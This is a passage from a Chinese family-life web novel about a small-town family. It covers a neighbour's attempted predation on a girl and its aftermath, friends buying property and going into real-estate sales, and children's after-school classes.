几个女孩子在赵思莲家玩,赵思莲她爸经常去别人家喝酒,很少在家,有时候可能一晚上都不回来,她们在赵思莲家玩,就不会有大人打扰。 她们一直玩到天快彻底黑下来才散,宁时秋和姚据来接宁时夏,三个人又一起回家。 走到半路,宁时夏摸了摸手,发现自己手表落在赵思莲家忘了拿,三个人又折返回去拿她的手表。 这时候天已经完全黑了,天气比较冷,很多人都掩上门在家里烤火,街道上没有路灯,只有各家房子里投出来的光。 靠近赵思莲家,他们忽然发现有个黑影扒在她家窗户上往里看。 三个人吓得一激灵,他们三个不如大人高,站在角落里不太起眼,出来玩的时候天还没黑,按照他们回家的时间,到家的时候,天色才会彻底黑下来,他们出来玩就没拿手电筒。 这会儿被吓得站在那里不敢动,那个人影也没发现他们。 正当他们想着要不要给家里大人打电话的时候,赵思莲家突然传出来她大声的斥骂声:“呸,谁稀罕你那点臭钱!赶紧滚!要不然我叫人了!” 那个黑影像是完全没想到她敢这么大声,被骂后一声不吭,赶紧跑了。 躲在角落的宁时夏三人等那人跑远了,才敢跑到赵思莲家门口敲门。 这回轮到赵思莲被吓了一跳,还以为那个人又来了,她爸今天不知道去哪个酒友家喝酒了,又没回家,她大伯和大伯娘一家也去了大伯娘的娘家走亲戚,还没回来,赵思莲害怕的不行。 直到听到宁时夏的声音:“思莲姐,是我小夏,还有我哥哥和锯子哥。” 赵思莲这才放松下来,从米缸里钻出来,跑过去开门。 “你们不是回家了吗?” 宁时夏说:“我手表落在你家了,折回来拿。” “哦哦,你的手表啊,”赵思莲跑回房间,拿出宁时夏落下的手表,“在这里,你走后我也发现你把手表落下了,天黑了我不敢出门,又担心我爸明天回来看到以为是我的,拿去换酒喝,就先收到我房间里了,本来想明天再拿去给你的。” 宁时夏接过手表戴上,问她刚刚是怎么回事:“我们刚才看到一个黑影趴在那里,差点没吓死!” 说到那事,赵思莲也是心有余悸:“我也是!突然在外面说什么,给我一百块钱,让我给他摸摸,呕——” 她现在说起来都想吐! “我看他鬼鬼祟祟的样子,想着他应该不敢让别人知道,就大声骂了他,幸好把他骂走了!” “思莲姐,你要不去我家,暂时和我睡吧?你爸不在家,你大伯一家也不在,万一那个人再回来怎么办?” 赵思莲也不敢继续一个人待在家里了,她这会儿手还在发抖,赶忙点头:“那麻烦你们了,我可以等我大伯和大伯娘他们回来,再回家睡吗?” “可以可以,不麻烦,我让我爸妈来接我们。” 他们现在也不敢自己走回去了。 赵如月和宁绍明接到电话还觉得奇怪,孩子们去玩的地方离家也不远,一般都是自己出去自己回来,这点也早该到家了才对。 本来他们就打算出去找人了,这会儿接到电话更不敢耽搁,电话没挂就带着手电筒接人去了。 到赵思莲家的时候,看到赵思莲锁了门也跟着去,赵如月和宁绍明也没多问。 到家后,两个男孩子去洗澡,赵如月才在女儿房间问怎么回事。 两个孩子就你一言我一语地把事情说了,因为现在彻底安全了,赵思莲说得也比在她家时仔细。 她说:“我觉得我听出那个声音像谁的声音了。” “谁?” “像我们街那个把房子换给别人,搬到县城住的那个周四伯的声音。”因为是熟人,赵思莲一开始根本不敢确认也不知道该不该说。 看到赵如月神色严肃,又一向相信她,才敢说出来。 赵思莲口中的周四伯就是那个老光棍老钱,他估计是回老家过年的。 赵如月听她大姐提过几句,说他把房子换给郑军胜后,过年回来走亲戚还得住在兄弟家,那个老钱生活习惯不好,她兄弟媳妇很嫌弃他。 没想到他竟然敢把手伸向小女孩。 这事让赵如月感到心惊,镇上可有不少留守儿童! 也不知道这个老钱,是第一次干,还是惯犯了? 听赵思莲描述当时的情形,那个人那么容易就被她吓跑,看起来不像惯犯。 赵如月也希望他不是惯犯,要不然就算他以后被抓,也给被他害过的孩子造成伤害了。 镇上风气保守,让孩子沾上没好处,赵如月就对两个女孩子说道:“你们好好休息,这事就当不知道,别出去跟别人说,不然打草惊蛇就不好了,以后再遇到这种事,千万要告诉我们大人知道吗?” 两个孩子点头都说知道了。 她出去后,也跟两个男孩子这么说。 只是等孩子们都睡下,她跟宁绍明回了房间,忍不住发愁。 这事不太好办,赵如月这时候就想,要是有监控就好了。 老钱被吓走,没来得及做什么,他们没证据,甚至几个孩子也没真正看到那个人长什么样,只凭声音熟悉,去报警也没用,这种事有时候真的人让人无奈。 在镇上传递小道说,有老光棍是变态消息,专门盯着小孩子祸害吧,还有可能误伤别人,毕竟镇上也不是没有其他光棍,但人家也没干这种事。 赵如月想了半晚上,一直想到不知道什么时候睡着。 直到第二天,几个孩子昨晚被吓着,今天不打算出门了,要在家里看电影。 赵如月听到电影,灵机一动,对宁绍明说道:“要不,我们找个类似的电影和宣传片来镇上放?” 前些年,县城的放映员一年来镇上放好几次电影,这两年次数少了,天热的时候才来。 去年就来了三次,一次是暑假期间,一次是中秋节,过年的时候都没来,今年也不知道会不会再来。 不来也没事,他们可以自己去县城租借设备。 在镇上放类似题材的电影,可以除了可以给家长们和孩子们起到警示作用,还能对心怀鬼胎的人起到警告作用。 那个老钱都能被孩子吓跑,看起来也不想胆子多大的人,也许那些片子一放,他自己心虚就不敢乱来了。 虽然不知道效果怎么样,但做一些事,总比什么都不做要好。 赵如月当天就去把放电影的设备租回来了,跟着一起来的还有以前来镇上放电影的一个放映员。 她也是找人租设备才知道,县城的电影院经营不下去,转让给私人承包了。 电影和宣传片人家帮忙找到了合适的,赵如月只需要出钱就行。 那天晚上播放电影的时候,赵如月就一直在暗暗观察那个老钱。 不知道是不是他脸皮太厚,看起来神色没什么异常,不过第二天赵如月就听她大姐说,老钱提前回县城了。 赵如月算是稍稍松了一口气,等到赵思莲她大伯一家回来,年也快过完了,镇上的人种地的种地、去打工的去打工,景点还没正式开起来,很多人还是得继续出去挣钱,。 没多少人还总是找过节难得聚一聚的借口,聚在一起喝酒,赵思莲他爸在家的时间也多了,赵思莲才回到自己家里住。 就在赵如月以为,这件事算是过去的时候,田清突然来找她。 赵如月还以为是田清的电脑出问题,她解决不了才来找自己。 田清一张口,说的却不是电脑的事,反而问道:“三婶,你第一次跟我去我家小区那边的时候,我们遇上的那个秃头老男人你还记得吗?” 赵如月点头说:“记得,我好像忘了跟你说,那个人以前还是我镇上老宅住同一条街的邻居。” 田清小声道:“你知道吗?那个丑东西死了!” “什么?他死了!?”赵如月简直不敢相信自己的耳朵,忙问,“他怎么死的?” 第134章 听到田清说的那些话后,赵如月的脑子里一瞬间闪过好几种老钱的死法。 什么单身太久嫖。娼,染病终于熬不住病死、跟人偷。情,被发现被打死了或者人家丈夫突然回家,他躲避的时候,不小心摔下楼摔死、出门被车撞死、不小心掉到坑里摔死等等。 但都猜错了。 田清说:“他是在自己家,被人咔嚓了的!” “我的天!” “三婶,你猜猜弄死他的人多大年纪?” 赵如月说:“你这么问,那动手的人,肯定要么年纪很大,要么年纪很小。” “没错!”田清唏嘘道,“听说那个女孩子才十一二岁,把那个老东西咔嚓了之后,因为太害怕,就躲起来了,后来她奶奶出来认罪,那小女该不想让自己奶奶给自己顶罪,就去找警察自首了。 那祖孙俩也是可怜人,我们那小区买房子不是送楼下杂物间嘛,她跟他奶奶就住在杂物间里,他爸妈离婚了,她爸和她后妈一家住在楼上。 那杂物间冬冷夏热,还没有卫生间,我听人说,她们上厕所和洗漱都要去小区的公厕,她爸一家不让他们上楼用卫生间。” “那小女孩为什么要弄死他?是不是他做了什么惹怒人家?”其实赵如月问的时候,心里联想到赵思莲家那天晚上发生的事,已经隐隐有一些猜测了。 田清说的跟她想的差不多:“具体情况我了解得不多,只听人说,大概是那老东西见小女孩祖孙俩没钱,用钱诱惑她去他家。 估摸着那老东西做了些让小女孩无法忍受的事,她才被迫反击。 那小女孩我有时候会在小区遇到,对她也有点印象,她性格有点内向,不像是会主动惹事的孩子,平时还特别懂事,会帮她奶奶找纸壳子、塑料瓶什么的,学习成绩也特别好,我觉得她要不是被逼急了的话,肯定不会做出那样的事!” 赵如月也深以为然:“好好一个孩子可惜了,她一辈子可能都要被那种人毁掉。” “谁说不是呢,听说她这样算是什么过失杀人,也不知道会不会被判得很重,不会要她杀人偿命吧?” 赵如月说道:“应该不会,她还没成年,年纪太小了,大概会被送到少管所进行教育和改造。” “那也算不幸中的万幸了,只是她还是要上学的年纪,以后出来也不知道还有没有学上,看她爸那样子,到时候估计不会继续供她读书了,可是不上学,要学历没学历,还背着案底,可怎么生活……” 田清以前比较叛逆,高中没好好读,毕业就到处瞎混。 现在因为这件事,她才真正地去认真思考,有一个学历的用处,也很庆幸自己瞎混的这些年,没给自己搞出个案底来,要不然想后悔都难了。 以前别人说有些人想读书都不容易,她一直没有真实感,出来这么久后,经历得多,见得多了,不再是为赋新词强说愁的无知少年,又因为这个事,她突然有一股想回去继续读书的冲动。 “三婶,你觉得我这个年纪还回去读书还行吗?会不会有点奇怪、有点太晚了?” 赵如月还沉浸在刚才那件事里,田清突然一下子跳到回去读书的话题。 她愣了几秒才反应过来,对田清说道:“这话你可问对人了,我孩子都上小学了,还回学校读书,虽然只是也夜校吧,但也是实实在在上了两年课的,跟我比起来,你这个年纪哪算晚?” 田清得了赵如月的鼓励,更有信心了。 但她也不太舍得的自己刚有起色的小事业,打算还是留在云山县,让家里人帮自己打听一下,能不能把学籍转过来,在云山县上学。 田清回家后,赵如月还在想那个小女孩的事,想着想着,不由自主地翻出张彦君的手机号码。 咬咬牙,给张彦君打了个电话,把这件事给张彦君说了。 张彦君一直很恨老钱这个曾经伤害过他妹妹的人,可他理智和教养,让他没办法做出极端的事情去报复老钱。 他妹妹担心他私下报复老钱被人抓住把柄,反而引火烧身害了他,也一直在看着他,不让他为了自己私下去做违法犯罪的事。 她心地善良,不想因为自己让家人身陷囹圄。 但张彦君可以帮助那个小女孩,这就相当于,间接地报了当初他妹妹被伤害的仇了。 不管是帮那个请不起律师的小女孩请一个好律师,争取让她多减轻一些刑罚。 还是托人在少管所里多照看她一些,以张彦君的能力、财力和人脉都能做到,也不会触犯到法律的底线。 张彦君知道这件事后,心中激动但没让自己失态在电话里表现出来。 只是在电话再三对赵如月道谢,感谢她及时给自己带来这个消息。 县城这边的工业园建设进入正轨后,张彦君也回了沪市,只偶尔来看看,还真没法第一时间知道这样的事。 在听赵如月说的时候,他脑子里就一个想法,这个小女孩做了他想做却因为重重顾虑而不敢去做的事,她也是自己家的恩人,他不但现在会帮她,还要把她以后的路给安排好。 挂了电话之后,他立刻让人去找律师,又让律师联系上那个女孩子的家人。 那个女孩子的父亲一家正好不想管这件事,觉得这事太丢人。 只有小女孩的奶奶在为她奔走,可一个上了年纪的贫穷老人,哪有门路帮她? 张彦君委托的律师一找过来,跟他们说自己是公益组织派来的律师,可以免费给他们提供帮助。 小女该的父亲在经过再三的确认,得知律师真的绝对不收取他一分钱费用之后,直接把这件事一股脑交全权给律师代理,自己当了甩手掌柜。 小女孩本来以为自己这辈子都完了,自从她自首之后,只有她奶奶申请要看看她,她爸完全不见踪影。 没想到峰回路转,竟然有律师帮她,还说后续她进了少管所,第一个月会给她送东西,往后每个月也会给她寄钱,供她在里面的花销。 不过按照规定,每个月可以寄给她的钱,金额有限,不能超过五百元,只够给她买一些生活必需品,等她出来之后,会安排她去外地上学,让她千万别自暴自弃。 其实张彦君还打算给她准备一套外地的房子,到时候把她的户口转到外地,让她去外地读书,开始新的生活。 只是怕她年纪小,守不住秘密说漏嘴,以后被她爸一家子骗走或者缠上,而且还暂时没想好好在哪个城市买,所以暂时没跟她说。 张彦君恨不得帮她把以后的房车全配齐,工作也安排好了,可又担心做得太过,让她失去依靠自己独立生存的能力,这样反而是害了她,最后就只打算以后给她安排学校和房子。 那个小女孩的事在县城和镇上都引起了轰动,郑军胜那个小区房价本来就不算贵,现在还一路往下跌,没人敢去买了,尤其是老钱那套房子所在的楼层。 赵如月瞅准机会,入手了几套同小区其他楼栋的房子。 郑军胜知道她和宁绍明不顾流言买了几套,还特地来找他们说了一些感谢的话。 赵如月让宁绍明去应付他了,其实她没好意思说,她买了根本不打算去住,也不会让亲戚朋友去住,自己买了是打算以后拆迁再赚一笔拆迁钱来的。 那小区的房子都是步梯房,好几年前建成的房子了,等到十几年后,又是一个拆迁区,以后拆迁能拿到的钱可比现在多,手头刚好有钱,价格又降到谷底了,不买白不买! 现在因为受到那件凶杀案的影响,租出去能收到的租金比较低,但以后事情会随着时间慢慢淡去。 她买的又不是发生命案的房子,甚至还不是同一栋楼,租金会慢慢涨起来,以后要不了几年,每个月能收到的租金甚至能超过房贷,根本不用担心还贷压力。 赵如月还把这事跟给她打电话唠嗑的吴丽说了,劝吴丽和黄文发也回来贷款买一两套,鹏城的房子他们俩买不起,县城的应该是买得起的。 吴丽和黄文发倒是有点心动,只是他们把儿子带过去读书后,压力实在太大,手头的钱付了大概不剩下多少,手里没钱容易心里慌。 要是赵如月和宁绍明手上还有拆迁款,肯定愿意借给他们一些,现在花的是他们每个月开店挣的钱,他们就不太舍得了,只能让黄文发两口子好好考虑。 “过了这村可没这店了,现在不趁着还能买得起赶紧买,以后房价只会越来越高,可能会涨到你们的存款原本能付首付,以后却只能买到一间厕所的程度。” 吴丽和黄文发也信赵如月说的话,只是他们听说了那个小女孩的事,不免担心自己女儿。 虽然他们有点重男轻女,但女儿也是自己的孩子,不可能在乎她。 “我们在考虑,要不要把妙妙也接来鹏城读书,只是我们挣的钱真支撑不起两个孩子在鹏城读书的花销,我们也没有其他门路再多挣钱,现在家里文发工资最高,可这个活当初还是你家绍明找到又拉了他一把才有的,我们自己根本找不到工资更高的工作。” 吴丽愁得很,那个小女孩的事,让她惊醒了,终于意识到,一个家庭不富裕、父母还不在身边的女孩子,周遭有多危险。 哪怕有爷爷奶奶或者亲戚带着也不行,吴丽现在除了自己和丈夫,对谁都不放心。 第135章 吴丽和黄文发知道赵如月和宁绍明现在生意越来越好,估计能挣不少钱,但他们也知道救急不救穷的道理。 双方几十年的交情,如果她和黄文发跟他们借钱应急,他们肯定不会不借,可是自己家也不能一直跟朋友借钱养孩子。 “早知道当初听你们的话,留在县城开店了。”吴丽边说边叹气。 可惜没听他们的留在县城开店,现在后悔已经晚了,赵如月已经自己把分店开起来了。 宁绍明又带出来一个可以出师的徒弟,那个徒弟没有自己开店的野心,只想在他手底下踏实干活,拿一份稳定的工资,宁绍明问清楚后也不勉强他。 不过宁绍明觉得现在自己面包店里的客人太多,客人拿东西、结账有时候还要排老长的队,很影响客人的购物体验。 再加上有很多客人是从县城城区的另一头,特地跑过来买面包、订蛋糕,经常跟他抱怨,过来一趟太远,临时想吃面包都不方便,只能转头去吃别的。 宁绍明综合考虑,可以再开一家分店,已经在城区另一头看好铺面,打算再开一家分店,让那个出师的徒弟过去负责分店厨房里的事。 吴丽觉得自己和黄文发再回来说,自己想开店就不太合适了。 赵如月听吴丽语气愁得不行的样子,安慰道:“你们在大城市也不错,大城市工作机遇多。” “小月,你觉得如果我们不回去的话,在鹏城换什么工作比较好? 我知道老钱那件事后,每天到处看招聘启事,可我跟文发学历不高,也没有别的工作经验,感觉每一份我们能应聘上的工作,都不如现在的工资高待遇好。” 吴丽和黄文发都想着,赵如月夫妻俩现在的见识比他们广,门路比他们多,没准能给出个主意。 这次他们肯定听赵如月和宁绍明的建议。 赵如月认真思索了一会儿:“我还真想到了一个工作,门槛很低,可以不看学历、不看工作经验,只看个人能力,收入上限还特别高,只是底薪不高,这份工作也不稳定,甘蔗没有两头甜,你们要去的话得考虑清楚。” “什么工作?”吴丽忙问,黄文发在旁边也竖起耳朵听。 赵如月说道:“销售,房产销售。” 这个他们倒是听说过,只是他们对鹏城的房子一点也不了解:“这个、我们能成吗?我看那些房产销售一个个穿西装打领带,穿着打扮特别好,我们看起来灰扑扑的,一看就跟人家比不了。” “你别看人家打扮得好,其实销售群体什么学历都有,能挣多少全靠能力,嘴皮子也得利索,只要买出一单,提成就有几千到几万,甚至十万都有,就你家文发那嘴皮子,死的他都能给说成活的,我觉得他真挺适合去当销售。 文发本来就在做菜这一行没什么天分,厨师这活,他做得那么煎熬,不如趁着下班的时间去试一下。 你虽然不如他嘴巴厉害,但你亲和力高,这也是一项优势,去试试也就累一点,试错成本不高,你们不去尝试,怎么知道自己就不如别人?” 因为是几十年的好朋友,赵如月劝起他们来也是十分苦口婆心。 吴丽和黄文发虽然对去做销售这事,感觉心里特别忐忑,但既然已经决定这次一定要听他们的建议,那就不能再退缩,让人家白白替自己想主意。 “行,我们去试试,就是我们还上有老下有小的,一开始不能辞职去专门做销售,人家不一定要我们。” 赵如月告诉她:“这也不难,你们就在工作的地方附近,或者租房子的地方附近的楼盘找活,跟人家负责人说,你们不要底薪,只要提成,一开始提成的点,可以要低一点,等摸清楚了那一行的门道,做熟了,再考虑辞职的事。” 她这么说吴丽和黄文发心里的顾忌这下也全没了,不就是牺牲休息时间么,他们没学历、没背景,想多挣钱,总不能连这点辛苦都受不了。 吴丽和黄文发第二天下班后,立刻就行动了。 他们先去步行街咬牙一人买了一身合体的职业装,然后去了自己租的房子附近楼盘的营销中心。 鼓起勇气进去找负责人,说明自己的来意,结果竟然真的很顺利就成为了兼职销售员,在那个楼盘的营销中心,他们还见到了其他兼职销售员。 然后就发现,自己那么郑重其事地咬牙花钱买职业装有点傻。 在营销中心里,有些兼职销售员甚至是一些年纪比他们还大,连小学、初中都没上过,只上过扫盲班、身上穿着背心短裤,脚上及拉着人字拖的本地大爷大妈! 他们身上的打扮,一点也不影响他们开单! 在营销中心看到的这一幕,给吴丽夫妻俩带来的深深的震撼。 他们踌躇满志,期待着自己也能找到客户,卖出房子,跟别人一样挣到佣金。 然而第一个月过去,他们俩一单都没能开,两人没做过销售,在没有人脉、自己以及亲戚朋友也没钱买房的情况下,开单确实不是一件容易的事。 黄文发不免有些丧气,其实他也找到了几个客户,只是客户一直不松口说要买,他虽然嘴皮子利索,但经验不足,不知道该怎么办才好。 他经常跟宁绍明打电话联系,聊聊彼此的近况或者聊聊各自的孩子、还有老朋友、老同学的情况。 聊天的时候难免透露出来一些,宁绍明难免为好兄弟担心。 距离上次他们问完工作的建议已经过去一个多月,那时候是四月份,现在已经是五月份将近六月份了。 如果黄文发和吴丽的兼职还是没有着落,等到九月份孩子开学,要是黄妙妙今年九月份不能到鹏城读初中,可能以后再转又要耽搁一年。 黄妙妙担心父母太辛苦,自己说不想去,可她越是那么贴心,吴丽和黄文发越感到揪心。 宁绍明看这么着不行,自己又不能主动上赶着要借钱给兄弟,只好去跟赵如月商量:“你说,我们再去鹏城买套房怎么样?就跟去羊城买房时那样,买小一点的。” 赵如月翻出存钱的存单,拿出几张旧的之后,又把新的收起来。 “那倒不是不行,不过我们能动的钱暂时就只有这些,我们不了解现在鹏城的房价,也不知道够不够,他们两个人都想出业绩的话,最好还是买两套,算他们一人谈成一套,而且我们以前在羊城买房也是买双数的,以后这边要是单数可不好分。” 宁绍明高兴地说道:“我去问问文发有没有合适的房子,要是买不了两套,就先买一套,以后攒下钱了,再买一套面积差不多的就好了。” 黄文发没想到自己随口跟兄弟说了一两句,竟然迎来那么大的一个惊喜。 他难得还有些不好意思:“怎么能让你们破费,你们又不来鹏城生活,那房子买了不住,太浪费钱了……” 宁绍明打断他的话:“我们这是给自己置办资产,以后可以传给孩子的,怎么能算浪费钱,你兼职做这一行,难道不知道现在房子涨价多快? 不说鹏城,就说我们老家县城,我跟如月去年买的房子,今年涨了好几百!而且那个地段差不多的房子还买不到了!” 黄文发自从兼职当销售后,对鹏城的房地产也算有了比较深一点的了解:“这个确实没错,鹏城的房子涨得更厉害,均价九千多,快一万了!有些地方已经达到一万多,这可真是,我在酒店后厨干一年,不吃不喝一分不花全存起来,可能也就买个厕所!” 以前他只听人说房价贵,可这事跟自己没有切身利益相关,他对此感觉不大,听完笑过就算了。 现在打算做这一行,去真正了解过后,才知道那价格涨得可真是离谱! 他有些沮丧地说道:“我这辈子估计都买不起房子了。” “你可别这么想!”宁绍明安慰道,“要是你真把销售这个工作做好了,以后也不是没可能在鹏城买房。 作为内行人,你没准还能拿到更优惠的价格,或者别盯着价格高的、紧俏的房源,可以去看看现在看起来还没那么繁华,房价也没高得那么离谱的地段。 鹏城发展得那么快,没准要不了几年,现在不繁华的地方也繁华起来了。” “但愿吧,要不我先给你找找?” 宁绍明问:“你不是在一个楼盘兼职吗?去别的楼盘找,你还能有业绩?” 黄文发说道:“没事,你不用担心,我之前一直开不了单,就病急乱投医,也去好多其他楼盘跟人家谈兼职的事了,反正我这个兼职也没有底薪,给那个公司干活都可以,只要能开单就行。” 第136章 “加油兄弟!”宁绍明鼓励黄文发,“累的时候,多往好的方面想想,等你挣到钱,要是你在鹏城有房子,你家孩子去那边落户读书,就不用交择校费了,交择校费的钱用来交房贷多划算?” 这话瞬间让黄文发支棱起来了,别看他儿子没来鹏城几年,择校费也没交几年,但每个学期交择校费,掏出去那么多钱,他都心疼不已,只是不会在家人面前表现出来。 而且他儿子在鹏城读书,交那么多择校费,还不如在老家镇上学校读书时成绩好。 这些钱砸下去,以后还不知道能不能有个好结果,要是那些钱用来交贷款的话该多好,以后还完贷款,能实实在在地拥有一个房子! 黄文发接触房产销售这一行之后,知道房贷也不如自己想象中的那么可怕,其实对于他来说,最难拿出来的是首付。 如果能拿出首付的钱,像宁绍明说的那样,去偏一点的地方买房子。 每个月还房贷需要的钱,他们夫妻俩一起挣,也能拿得出来。 同时孩子上学不花那么多钱,剩下的钱,在鹏城养两个孩子也只是有点吃力,甚至还不一定有现在这么吃力,只是需要节省一点,不能跟别人一样,给孩子报那些什么补习班、兴趣班什么的。 听了宁绍明的鼓励,又自己给自己打了鸡血,黄文发打起精神来,继续他每天下班后努力卖房的生活。 他们做这个时候虽然跟营销中心的负责人谈过提成的事,知道卖出去一套房,自己能拿几个点的提成。 但是钱没到手的时候,终归没多少真实感。 等到帮宁绍明夫妻俩办完买房的手续,真正把厚厚的一沓提成钱拿在手里,他们才对这份工作有了真实感。 这么多钱,只是卖出了两套小几十万的小房子获得的提成,足以抵得上他们好几个月的工资! 在卖出这两套房子之后,像是事业运的闸口被打开了一样,之前一直谈不下来的几个客户,也松口了,打算尽快买房子。 黄文发觉得是宁绍明夫妻俩给他们带来的好运气,在电话里不住地谢他们。 赵如月却让他别瞎客气,告诉他:“手头上有存款的话,再跟亲戚朋友借一点,赶紧买房,孩子的事可耽搁不起。”再耽误下去,妙妙习惯了没有父母庇护,需要独自面对很多困难的成长环境,该跟他们生分了。 黄文发和吴丽不解:“为什么?我们想着今年九月份先把妙妙也接来,先交一年择校费,今年努力挣钱,多攒钱,明年再买,这样也能少借点钱,我们压力不会太大。” 择校费的钱跟首付比起来很少,只出一年的话,就算两个孩子一起在鹏城读书,他们也出得起。 长期就不行,那样供孩子读书的压力太大了。 赵如月说:“你好好想想,那几个松口的客户是什么人。” “也是本地人,不过看气质,比较文气,穿着也挺讲究,跟那些自己也兼职做销售的大爷大妈不太一样。” “那就对了,不说别的,只说人家是本地人,也许七拐八拐的有什么厉害的亲戚提醒,可能再拖下去房价又要涨,可不得抓紧时间买。 等房价涨了,存钱的速度赶不上涨价的速度,原本可以交一套房子最低首付的钱,明年就不够了,那存钱岂不是白存了?” 黄文发和吴丽仔细一想。 “对呀!现在买下房子,要是房价真涨了,相当于我们什么也没干,那些涨起来的钱就是白得的。” 夫妻俩赶紧给老家打电话筹钱,他们自己有四万块钱存款。 老家父母没什么钱,帮不上忙,亲戚们借一圈下来,借到三万,赵如月夫妻俩借了五万。 再加上卖出好几套房子的提成,黄文发夫妻俩揣着十几万,在鹏城不那么繁华,但是读书比较方便的小区,买了一套九十几平的房子。 这房子因为现在真的比较偏,他们又兼职着销售,能拿到返点,每平方的价格也不到鹏城房子的平均价格,首付刚好十几万。 只不过一通手续办下来,几乎榨空了他们夫妻俩所有的钱。 老家知道他们两口子借钱竟然是去鹏城买房的亲戚朋友,除了赵如月和宁绍明之外,都觉得他们疯了。 大部分的观念就是衣锦还乡,在外面挣钱回家修房子,这样在老家才有面子。 以前赵如月和宁绍明的想法跟其他人一样,只是他们做生意后,眼界慢慢打开了,观念才慢慢改变。 要不宁绍明以前也总是惦记着,等自己挣了钱,把家里的平房继续往上建,建成楼房呢。 现在他已经觉得建不建起来无所谓了,以后孩子长大也不一定还回老家,估计之后他们夫妻俩老了回来,在县城的房子和镇上的房子来回住一段时间。 而且也爬不动楼梯,何必再往高了建? 房间够住,自家人住得舒服就行了。 黄文发夫妻俩借钱买了房子,装修钱暂时就没着落了。 他们不想再厚着脸皮,跟赵如月和宁绍明借钱装修,老家亲戚那边也借不出来钱,又不想贷款,就打算先租着便宜的房子,慢慢攒装修钱。 黄文发跟吴丽商量过后,决定一个人继续做着能拿一份稳定工资的工作,另一个人辞职,去拼销售的高薪。 这样一个人稳定有收入,另一个人就算那个月不开单也不用担心饿到全家。 而且全职做销售后,也能有底薪了,虽然不多,但也勉强能供他自己一个月最基本的花销。 辞职后,他凭着在兼职的时候做出的业绩,成功入职一家他对比过后,觉得待遇最好的房地产公司当销售。 黄文发也不知道是房价涨了让很多人有危机感,还是自己的运气真的好了起来,时来运转了。 全职当房产销售之后,他一个月至少也能开三四单,很少有哪个月业绩是挂零蛋不及格的。 原本他们已经做好,一家四口要在便宜出租房挤好几年,每个月房贷、房租都要交的日子。 结果全职当销售不到一年,他就存够了装修房子的钱,当然这些钱只够简装。 但是即使这样,他们也觉得,能住进有电梯的商品房非常好了,这是他们以前想都不敢想的事。 黄文发和吴丽非常庆幸,当初听了赵如月的话,果断借钱买房,在他们家买完房子没多久,那个小区的房子就涨价了。 要是犹豫的话,他们现在还真是,借钱都不一定能买得起这个面积的房子。 现在这房子面积当然是不如他们在老家的房子面积大,但好好设计之后,也能做成四个房间。 他们夫妻俩住一个房间,儿子女儿各自也有自己的房间,剩下一个房间还能留着以后有亲戚朋友来做客来的话,当客房给客人住。 要装修之前,吴丽给赵如月打电话,说起自己家房子装修的事,赵如月想说他们那里一年到头都不一定亲戚朋友去,多设置一个房间,一年到头用不上,很浪费。 但赵如月想了想,这种观念他们这一辈人几乎都有,还是别说了。 于是话音一转,跟吴丽说起装修需要注意的事情,给她传授一点装修经验。 跟吴丽聊完挂了电话,少年宫的兴趣班刚好下课。 宁时夏穿着一身练功服从里面跑出来,身后跟着帮她拿书包的姚据。 赵如月接住往自己怀里扑的闺女,好笑道:“怎么又让你锯子哥帮你拿书包,自己的东西要自己拿。” 姚据走过来,主动帮着宁时夏解释:“赵阿姨,是我答应过小秋,要照顾好小夏的,书包也是我主动拿,小夏都没抢得过我。” 宁时夏从妈妈怀里抬起头,不服气地说道:“等我练得久一点,一定能赢过你!” “那我可等着了。” 他们俩都报了武术和拳击的兴趣班,今天上武术班,教学的老师是同一个老师,教室就被安排在一起了。 宁时秋没报武术课,这会儿上的是编程兴趣课,就没跟他们一起。 赵如月带两个孩子来报名兴趣班的时候,看到有航模班,本来还以为宁时夏那么喜欢飞机模型,会报那个,没想到却猜错了。 宁时夏没选航模班,而是选了武术、拳击和笛子演奏,后一个跟前两个完全不搭边,赵如月完全想不明白这孩子的脑回路。 不过在少年宫学习这些,学费不算高,赵如月就全都给她报名交钱,让她来学了。 本来是只打算报星期六和星期日上课的班,但宁时秋上初中后,读的是县城的初中,宁时夏看哥哥不在镇上读,她也不在想在镇上读了。 赵如月就给她转学到了县城的小学。 现在她们住在县城的房子里,不用每天回镇上,来回市里方便很多。 赵如月和宁绍明可以每天轮流接送孩子,就给他们报了每天下午放学后都有课的兴趣班。 郑秀的车从载他们往返镇上和县城,变成了载他们往返县城到市里。 她还开完笑地说过:“可能要不了几年,我就变成从载你们往返县城到市里,变成载你们往返市里到省城了。” 赵如月觉得这个机会可能不太大,因为她跟宁绍明已经报名学驾照了,等拿到驾照,他们就打算买一辆车。 买车的钱已经在攒了,现在买车这件事对于他们家来说没有什么难度,但驾照还没考下来,赵如月估摸着得到明年才行。 而且她攒买车钱的方式也给买车这件事,人工增加了一点难度。 她每个月只拿出几千块钱作为买车的资金,存在一张银行卡上。 其他的都存定期,留着以后存到一定数额之后,多多买房,给孩子多攒家底。 赵如月觉得自己跟宁绍明也不会做什么投资,与其乱投资,不如把余钱拿去卖房稳当。 当初给苏胜楠的公司投钱,也是因为她对这一行很熟悉,加上对苏胜楠这个人十分信任。 要不然她是不会贸然投资什么项目的。 他们连开分店都十分慎重,不求快,只求稳,宁愿少赚一点,也不盲目扩张。 也许这样的行为在很多生意人看来,太过谨慎甚至嫌这样是胆小,有些人会觉得他们不是挣大钱的料,但他们自己觉得这样很舒服,也不管别人怎么说。 赵如月接到宁时秋和姚据后,又等了半个小时,宁时秋才出来。 回到家的时候已经是晚上九点,天色太晚,就留姚据在他们家睡了。 三个孩子回到家都喊饿,宁绍明去厨房给他们弄宵夜吃,赵如月不想吃宵夜,正打算去洗澡。 门铃却被人按响了,她出去一看,竟然是哭得稀里哗啦的林丽丽。 “丽丽,你这事怎么了?”, 林丽丽抹了一把眼泪,哽咽道:“三婶,佳佳跟宁时春回镇上了,我不知道能去找谁,只好来找你了,我、我呜呜呜呜呜呜——” 她越想越难受,哭得话都说不完整了。 赵如月看有邻居探头探脑地出来看热闹,赶紧让她先进屋:“快进来,洗把脸再慢慢说,你看你平时多好看一个小姑娘,哭得妆都花了。” 林丽丽闻言赶紧进屋洗脸去。 一把把冷水往脸上泼,让她稍稍冷静了下来,回到客厅里坐下后,说话终于能说得清楚了:“三婶,我要跟磊哥分手。” 这样的事,赵如月自从认识林丽丽后,听她说过不少次了。 赵如月还以为林丽丽这次跟以前一样,只是闹一下想让自己对象来哄自己。 谁要是劝分,等到人家两个又和好甜甜蜜蜜腻腻歪歪的时候,谁就是小丑。 于是赵如月也跟以前一样,不劝分也不劝和,更不说她对象坏话。 只是问她:“真的假的,那你要不要出去旅行一段时间散散心?” 林丽丽摇头说:“这次是真的,我也不去散心了,得留下来处理发廊的事。” 